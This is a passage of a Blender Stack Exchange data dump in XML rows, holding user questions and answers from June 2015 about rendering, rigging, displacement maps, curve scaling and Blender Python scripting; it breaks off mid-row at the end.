  <row Id="32071" PostTypeId="1" CreationDate="2015-06-07T23:47:58.163" Score="0" ViewCount="61" Body="&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/36447&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/36447&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make me see the look of the mesh outside of rendering like in blender render? Id be cool with vertex paint or UV. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Side note: If I want to view most all my effects while editing, Which has more available to view BR or CR?&lt;/p&gt;&#xA;" OwnerUserId="13912" LastActivityDate="2015-06-08T01:58:21.873" Title="View Colors outside of render" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32072" PostTypeId="2" ParentId="32069" CreationDate="2015-06-08T00:10:05.497" Score="2" Body="&lt;p&gt;First disable nodes from the outline material (Cycles materials can't be rendered in Blender Internal render engine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in outline material enable Transparency and set Fresnel to 5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5WwYF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-06-08T00:10:05.497" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32073" PostTypeId="1" CreationDate="2015-06-08T00:32:27.450" Score="0" ViewCount="1076" Body="&lt;p&gt;When I try to parent my students armature, an error occurs that says, &quot;Bone heat weighting error on more than one bone&quot; I'm not sure how to correct this. I looked to see if it was symmetrical and it seems to be. Any help would be great. I copied the link so you can see the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/36448&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/36448&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11597" LastActivityDate="2015-06-09T19:54:44.680" Title="Why won't my creature parent to its armature" Tags="&lt;armature&gt;&lt;parent&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32074" PostTypeId="1" AcceptedAnswerId="32075" CreationDate="2015-06-08T01:21:11.103" Score="7" ViewCount="1155" Body="&lt;p&gt;Blender 2.74 has enabled one to add a depth-of-field effect in the 3D viewport. The problem is, when I hit F12 to render the camera-view, the depth-of-field doesn't show up. Any idea why?&lt;img src=&quot;https://i.stack.imgur.com/2BYJh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14861" LastEditorUserId="8262" LastEditDate="2015-06-08T02:30:55.947" LastActivityDate="2015-06-08T02:30:55.947" Title="Blender 2.74 Depth-of-field is okay at 3D-viewport, but not in Render" Tags="&lt;3d-view&gt;&lt;blender-internal-render-engine&gt;&lt;depth-of-field&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32075" PostTypeId="2" ParentId="32074" CreationDate="2015-06-08T01:31:24.140" Score="6" Body="&lt;p&gt;You have to achieve the in-render DOF through the compositor. Run your combined image through the Defocus node as well as your Z pass output. The output will be the image with DOF as it was in the viewport render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pMUqN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-08T01:31:24.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32076" PostTypeId="2" ParentId="32069" CreationDate="2015-06-08T01:39:54.960" Score="0" Body="&lt;p&gt;To render image or movie clip the scene other than Rendered Viewport Shading, set view to active camera, open Render menu on the top of the screen and select OpenGL Render Image or OpenGL Render Animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Bbnz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-06-08T01:47:57.487" LastActivityDate="2015-06-08T01:47:57.487" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32077" PostTypeId="1" AcceptedAnswerId="32096" CreationDate="2015-06-08T01:44:59.400" Score="3" ViewCount="4009" Body="&lt;p&gt;I've got a Minecraft cube that I'm trying to apply a displacement map to, but the displacement is just not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So each Minecraft texture is 16x16 pixels, so by taking a cube and subdividing (simple) 15 times, I'll get a 16x16 grid of faces and the displacement map should work, but it's giving me weird geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4IQVo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4IQVo.png&quot; alt=&quot;model with displacment&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the Midlevel doesn't fix it, just gives different types of broken. Scaling it up in edit mode actually helps it, but even after doing that I could see that the texture was not applying. There were bulges in the wrong places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my settings:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KcrQk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KcrQk.png&quot; alt=&quot;texture settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed my extension to clip, but switching between the different types doesn't do anything. I had to disable Interpolation because the texture is so small, otherwise it's all blurry. Stuck and not sure what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And disclaimer, I have already read (&lt;a href=&quot;https://blender.stackexchange.com/questions/15277/displacement-on-certain-objects-not-working&quot;&gt;Displacement on certain objects not working&lt;/a&gt;) and it doesn't help me. If you read it, you'll see that it's node-based, Voronoi texture. I don't have any nodes since this uses a modifier. It doesn't help me nor solve my problem.&lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-06-08T12:58:21.047" Title="Displacement Map Not Working" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32078" PostTypeId="2" ParentId="32071" CreationDate="2015-06-08T01:58:21.873" Score="1" Body="&lt;p&gt;Unfortunately, it's not possible to realize shading effects from Cycles BSDF node trees in the viewport via OpenGL. You must use the Viewport render mode or do a full render to the frame buffer to realize the shader effects that you've set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, you're pretty much limited to image textures, ambient occlusion, DOF, and shadeless mode for viewport view when not in render mode. I suppose you could technically bake your cycles shaders to a texture image, and then apply it to the mesh for viewing in the viewport, but that seems counterproductive.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-08T01:58:21.873" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32079" PostTypeId="2" ParentId="32077" CreationDate="2015-06-08T02:08:56.597" Score="4" Body="&lt;p&gt;To use image as displacement factor in Displace Modifier, Texture Coordinates have to be set to UV and the mesh properly unwrapped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qUr6Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-06-08T02:08:56.597" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32080" PostTypeId="1" AcceptedAnswerId="32128" CreationDate="2015-06-08T05:37:46.470" Score="7" ViewCount="1186" Body="&lt;p&gt;I'm trying to create a complex beveled bezier (bezier curve with a spline object as the bevel). It needs to have the same Z+Y scale throughout the object but the X axis needs to scale to widen to fit the letter shape. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode with a vertex selected and using Alt+S I can scale the control point and get the scale I want one the X axis ... but ... I am also getting Y/Z scaling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to lock the axis with this scaling mode or another way for me to scale the way I am looking for? The image show a single control point scaled but I'd want to scale the others to fill the C shape on X without changing the other 2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't played with using a Taper object but given how I'm trying to fit a very specific shape, scaling the points would seem to be the best way to have precise scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MukeY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14863" LastActivityDate="2015-12-18T18:23:47.220" Title="Scale a 3D beveled bezier path vertex on 1 axis, not 3" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32081" PostTypeId="1" AcceptedAnswerId="32098" CreationDate="2015-06-08T06:05:19.417" Score="2" ViewCount="408" Body="&lt;p&gt;Could I make little 'doors' in the water wheel that rotate with the wheel itself, but can also rotate around their own hinge?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s1n3I.png&quot; alt=&quot;sketch of wheel and doors&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-06-08T18:48:40.720" LastActivityDate="2015-06-08T18:48:40.720" Title="Make water wheel with hinges" Tags="&lt;animation&gt;&lt;objects&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32082" PostTypeId="2" ParentId="32080" CreationDate="2015-06-08T06:12:45.893" Score="4" Body="&lt;p&gt;When you scale a control point you're scaling its radius around the curve, which is inherently circular. The only way to get a flat profile is to use a second bevel object with a thin rectangular shape. Once you apply that bevel object, scaling the cp radius only affects width in the way you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my example, I found a better result with a low curve resolution (4-5), and then applying a subdiv modifier with level 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MvROS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-08T06:22:57.103" LastActivityDate="2015-06-08T06:22:57.103" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32083" PostTypeId="1" CreationDate="2015-06-08T07:04:54.013" Score="1" ViewCount="5005" Body="&lt;p&gt;I'm working on a complicated building which my goal is to keep the multiple objects in their respective groups and scale all objects at once. Instead of using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt; function to group everything into 1 object and scale it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate some advice. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14818" LastEditorUserId="3710" LastEditDate="2015-06-08T07:10:34.427" LastActivityDate="2015-06-08T07:39:53.513" Title="It there a possible way that I could scale all the objects individually?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;transforms&gt;&lt;groups&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-06-08T12:57:32.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="32084" PostTypeId="2" ParentId="32083" CreationDate="2015-06-08T07:39:53.513" Score="1" Body="&lt;p&gt;Try simply selecting all your objects and scale the whole selection.&#xA;It doesen't work if the pivot point is set to &quot;individual origin&quot;.&#xA;All the others options will scale your objects maintaining shapes and proportions&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-08T07:39:53.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32085" PostTypeId="2" ParentId="32073" CreationDate="2015-06-08T07:52:49.880" Score="2" Body="&lt;p&gt;Your armature's shape is extremely different from the creature's shape: so the algorithm that should assign weight automatically can't decide which vertices to assign to which bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case you should choose the &quot;with empty groups&quot; option: it will create an empty vertex group for every bone of your armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you will have to weight them manually. Using weight paint; or selecting a vertex group, in edit mode selecting the vertices you want to be moved, and click assign in the vertex group mesh tab of the properties panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The corrispondence between bones and vertex groups is made by names.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="894" LastEditDate="2015-06-09T19:54:44.680" LastActivityDate="2015-06-09T19:54:44.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32086" PostTypeId="2" ParentId="32068" CreationDate="2015-06-08T08:08:34.633" Score="1" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;create the first lower bone, then extrude 3 times, rotate the 4th bone 90 degrees, then ( in edit mode) slightly move the junction point between the second and the third bone in the Y axis, toward the direction you want the chain to bend.&#xA;Another way is to check the bone's roll: in the armature tab - display - set to view axes, then trim the bone's roll until the rotation you want is on their x axis with positive values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also add limit rotation costraints to the bones for having them moving only in one direction.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-08T08:08:34.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32087" PostTypeId="2" ParentId="32067" CreationDate="2015-06-08T08:41:28.087" Score="1" Body="&lt;p&gt;I opened your file, made a render, too much exposure.&#xA;I went to the compositor, turned on the  &quot;backdrop&quot; functions, everything went OK, even the animation rendering!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like a little bug.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-08T08:41:28.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32088" PostTypeId="1" CreationDate="2015-06-08T08:52:44.287" Score="2" ViewCount="1433" Body="&lt;p&gt;I'm modeling a simple environment and trying to get some sense of what it looks like with textures early on.  Whenever I switch the viewport to either texture or material mode, though, only the meshes that are lit by lights are visible.  This is slowing down my workflow because I have to keep stopping to add more lights to the scene to see what's happening.  All the lights are also cluttering things up and have to be repositioned every time I move meshes around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I've also found the Multitexture/Shadless option in the 'n' menu, but that turns off all lighting information.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maya has a nice feature where you can switch from viewing the scene with the placed lights to having the scene lit from a single point light positioned behind the viewport camera.  This lets you get a good sense of what things look like with textures and shading without having to place lights through your entire scene.  Does Blender have a similar feature?&lt;/p&gt;&#xA;" OwnerUserId="9732" LastActivityDate="2016-01-04T16:20:24.010" Title="When modeling, is there a way to have light shine from behind viewport camera?" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32089" PostTypeId="1" CreationDate="2015-06-08T09:17:26.277" Score="7" ViewCount="130" Body="&lt;p&gt;I would like to make a water wheel that can be rotated due to flowing water. I made the wheel as an obstacle and enable collision physics. Is it possible to let the water (fluid simulation) interact with the turbine (rigid body physics)?  Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="3078" LastEditDate="2015-06-10T21:04:35.947" LastActivityDate="2015-06-10T21:04:35.947" Title="How to simulate water pushing a wheel" Tags="&lt;rigid-body-simulation&gt;&lt;fluid-simulation&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ClosedDate="2015-06-11T02:14:30.600" ContentLicense="CC BY-SA 3.0" />
  <row Id="32090" PostTypeId="2" ParentId="32061" CreationDate="2015-06-08T09:46:51.783" Score="2" Body="&lt;p&gt;Ok I solved this myself and in fact for my problem I didn't even need to use the action editor or NLA editor, all I needed to do was make the bits I wanted as separate animations happen at different points on the timeline, and then when I put the object into unity I could select those frames from the animation to be separate animations, so the whole thing was a lot less complicated than I was trying to make it.&#xA;If anyone else has information on how to do this in blender though please add an answer because I'm sure not everyone who comes across this question will be intending on putting their animation into unity and so may still need another answer &lt;/p&gt;&#xA;" OwnerUserId="13868" LastActivityDate="2015-06-08T09:46:51.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32091" PostTypeId="1" AcceptedAnswerId="32094" CreationDate="2015-06-08T09:47:03.527" Score="2" ViewCount="789" Body="&lt;p&gt;This is sort of an unconventional use of Blender, but I'm straightening the distortion of scanned pages of a book, and I have the pages of the book scanned and numbered. What I want to do is use a plane with a simple UV map (two faces, one for the left page and one for the right). I've tested this concept out and it works for a single scanned image. I'm thinking I can run the scanned pages as an animated image sequence. &lt;strong&gt;What I'm not sure how to animate is the UV maps.&lt;/strong&gt; Any idea how I can have a different UV map be called automatically for each frame, corresponding to its number? Maybe there is some way to use Python to update which UV map is used in the material's UV node?&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2015-06-08T12:42:11.383" Title="Can I have a unique UV map for each frame?" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32092" PostTypeId="1" CreationDate="2015-06-08T10:11:02.640" Score="2" ViewCount="896" Body="&lt;p&gt;I am sorry, this is probably very simple question related more to maths than blender itself, but I really have no idea what number respresents what angle. I have a feeling that it might be somehow related to euler or quaternion, or something like that (which I don't understand at all), but please, how do I know, what numerical value represents what rotation degree?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let the picture speak for itself - it is located under driver dependencies (see the value of the driver in red circle). There is a value (which appereantly controls the value of the shape key), but I don't know what will the value be, when I rotate the bone by certain angle. So to make long story short: How to convert the angle in degrees to numerical value which is desired outcome to know the value of the shape key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;img src=&quot;https://i.stack.imgur.com/SeR3Q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorDisplayName="user7952" LastEditDate="2015-06-08T10:24:32.833" LastActivityDate="2015-06-08T10:24:32.833" Title="Degrees, euler quaternion?" Tags="&lt;drivers&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32094" PostTypeId="2" ParentId="32091" CreationDate="2015-06-08T12:42:11.383" Score="3" Body="&lt;p&gt;UV maps are not animateable by default in Blender. However, there is an addon that can give you this functionality, it's called AnimAll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XYH1x.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you install this addon, you will have a toolbar in the Animation toolbar in the 3d Viewport on the left. This will allow you to insert UV keyframes and alter the UV Map to achieve the per-frame warping you require.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GmxUC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-08T12:42:11.383" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32095" PostTypeId="2" ParentId="32088" CreationDate="2015-06-08T12:50:22.633" Score="1" Body="&lt;p&gt;You can put the scene lights on a separate layer, turn them of during viewport editing, and then parent a new lamp to the back of the camera. You can turn off the restrict rendering setting for the test lamp in the outliner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works in Blender Internal, but not in Cycles. You could test texture placment in BI, and then render from Cycles. It's possible to create shaders that work cross-engine, you just have to add the specific outputs. The BSDF nodes wouldn't work in BI, but the textures would.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-08T12:50:22.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32096" PostTypeId="2" ParentId="32077" CreationDate="2015-06-08T12:58:21.047" Score="1" Body="&lt;p&gt;Despite what I tried the displacement map wouldn't work. I eventually realized that I had to take a different avenue to get the result I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to manually extrude the faces outward to get the desired result. Took a while, but looks a lot better than any displacement map would have worked. Just go into material or texture mode (to make seeing what you're doing easier) and grab the faces that need to be extruded, and extrude them out the desired amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just thought I'd leave my answer here in case anyone else wanted to know what I did.&lt;/p&gt;&#xA;" OwnerUserId="5634" LastActivityDate="2015-06-08T12:58:21.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32097" PostTypeId="2" ParentId="32088" CreationDate="2015-06-08T13:08:03.660" Score="1" Body="&lt;p&gt;First of all, are you using Cycles or Blender Internal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you mean with this: &quot;only the meshes that are lit by lights are visible&quot;. It sound like you don't want dark shadows, but you don't want materials to appear shadeless either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without seeing a screen shot of what this Maya feature looks like it's hard to know what advice to give, but I'll offer this:&#xA;Try parenting a Sun Lamp to your camera, shining in the direction your camera looks. You can then go to the Outliner window and disable this lamp for rendering (it will still show for viewport rendering). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewport rendering can be toggled using [Shift Z].&#xA;You'll need to be looking through Camera View, so press 0.&#xA;Enable &quot;Lock Camera to View&quot; in the Properties Panel, so that the camera follows your viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that since lamps don't have any surface you won't see glossy reflections from them. You could use a mesh lamp instead (Cycles only), but that's another topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that this method causes your camera to be used as a previewing tool, rather than a camera, so you may want to correct for that by adding a Copy Transforms constraint to your camera, targeted to an Empty that points as you want, and enable it only when you render.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2015-06-08T13:08:03.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32098" PostTypeId="2" ParentId="32081" CreationDate="2015-06-08T13:29:47.227" Score="5" Body="&lt;p&gt;First set up your doors with the origin on the hinge edge, or us an empty. See this question for more info &lt;a href=&quot;https://blender.stackexchange.com/q/16045/2217&quot;&gt;How do I create a hinged door?&lt;/a&gt;&lt;br&gt;&#xA;Next &lt;a href=&quot;https://blender.stackexchange.com/a/26109/2217&quot;&gt;Parent&lt;/a&gt; the little doors to the main water wheel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qMp50.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;br&gt;&#xA;In the above gif I have added an empty that is also parented to the water wheel. That empty is used to control the rotation of all the doors with a &lt;em&gt;&lt;a href=&quot;http://www.blender.org/manual/rigging/constraints/transform/copy_rotation.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Copy Rotation&lt;/a&gt;&lt;/em&gt; constraint on each of the doors.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UmBTh.png&quot; alt=&quot;Copy Rotation constraint&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-06-08T13:29:47.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32099" PostTypeId="1" CreationDate="2015-06-08T13:30:32.530" Score="2" ViewCount="393" Body="&lt;p&gt;I need an eyedropper button in my UI. &#xA;My question is about how do I use bpy.ops.ui.eyedropper_color() correctly? I tried &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.operator(bpy.ops.paint.sample_color.idname())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which nicely draws me a button on the UI, but has no function (but also no error message). I also tried &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.operator(bpy.ops.paint.sample_color.idname())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is successful, but automatically assigns the color to the active brush, while I need to assign it to my own prop. Furthermore, I need it outside the paint context. ...any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1583" LastActivityDate="2015-06-08T13:30:32.530" Title="How to use bpy.ops.ui.eyedropper_color" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32100" PostTypeId="1" AcceptedAnswerId="32105" CreationDate="2015-06-08T13:36:24.123" Score="2" ViewCount="1089" Body="&lt;p&gt;what is the relationship between light intensity (I) and the 8bit value of my black&amp;amp;white render output?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The background is that I want to simulate a sensor that sends a signal every time the intensity at a point (pixel) changes a certain amount. &#xA;The sensor should be invariant to lighting conditions so the real sensor measures photocurrent on a loglinear scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading &lt;a href=&quot;http://howaboutanorange.com/blog/2011/04/10/image_editing_with_srgb_values_and_light_intensity/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/SRGB#The_sRGB_gamut&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; I think the sRGB scale is corrected in a similar way&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is the (8bit) grayscale value (for example rendered as a png file) then corrected in the same way? So if I want to check for loglinear changes in Intensity, I just compare the integer values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think yes, but I would really appreciate a second opinion&lt;/p&gt;&#xA;" OwnerUserId="14627" LastActivityDate="2015-06-08T15:11:47.140" Title="relationship between light intensity and 8bit grayscale" Tags="&lt;color-management&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32101" PostTypeId="1" CreationDate="2015-06-08T13:36:57.373" Score="10" ViewCount="859" Body="&lt;p&gt;In my game I have a Nurbs curve in the XY plane. I have a rigged car, that has a &lt;code&gt;follow path&lt;/code&gt; constraint, so that it follows this curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to make the Nurbs curve behave like a snake in the &lt;em&gt;snake&lt;/em&gt; game. The snake should move by extending its head and cutting off its tail. When the player presses the 'up' arrow, the head should extend forward and the tail should be cut off. When the player presses the 'right' arrow, than the head should make a turn to the right, and idem for the 'left' arrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do that? In the pictures, the dots are the vertices of the Nurbs curve. I can give more details if necessary. Thanks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples of the curve turning to the left, the right, and moving straight:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5So9j.gif&quot; alt=&quot;curve turning to the left&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3V5M3.gif&quot; alt=&quot;curve turning to the right&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UMc0J.gif&quot; alt=&quot;moving straight&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="49806" LastEditDate="2017-12-20T02:47:21.433" LastActivityDate="2020-05-14T15:07:15.910" Title="Make path move like snake in snake game" Tags="&lt;game-engine&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32102" PostTypeId="1" CreationDate="2015-06-08T13:54:40.330" Score="2" ViewCount="873" Body="&lt;p&gt;I am actually trying to move a car along a path. The path is stored in a file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I am reading each and every position from the file, moving the car to that position followed by appropriate rotation, then I assign a key. &#xA;following is the code I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ob = bpy.data.objects['car']&#xA;    bpy.context.scene.objects.active = ob &#xA;    ob.select = True&#xA;    frame_num = 0&#xA;    pos = [list(a) for a in positions]&#xA;    m = [0.0,0.0,0.0]&#xA;    for j in range(len(pos)-1):&#xA;        for k in range(3):&#xA;            m[k] = pos[j+1][k] - pos[j][k]&#xA;        DirectionVector = mathutils.Vector(tuple(m))&#xA;        bpy.context.scene.frame_set(frame_num)&#xA;        ob.location = pos[j]&#xA;        ob.rotation_mode = 'QUATERNION'&#xA;        ob.rotation_quaternion = DirectionVector.to_track_quat('X','Y')&#xA;        bpy.ops.anim.keyframe_insert_menu(type=&quot;Location&quot;)&#xA;        bpy.ops.anim.keyframe_insert_menu(type=&quot;Rotation&quot;)&#xA;        frame_num += 30&#xA;        j += 1​&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even after all this I am not satisfied with my result. In real life when we see an obstacle in front of us we rotate to our left or right. But here the car rotates far before it reaches the position. I know it is because I have defined the keyframes like that.&#xA;I tried using two for loops, but even the end result in that is not that good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://i.stack.imgur.com/xY1uX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;My goal is to have the car avoid obstacles by making a tighter turn around them. How do I achieve this?I feel that there should be some easy way to do this. Can someone help me?&lt;/a&gt;&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xY1uX.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;This is a part of my environment.&lt;/p&gt;&#xA;" OwnerUserId="14700" LastEditorUserId="14700" LastEditDate="2015-06-08T14:45:33.773" LastActivityDate="2015-10-06T17:52:49.937" Title="Animation by 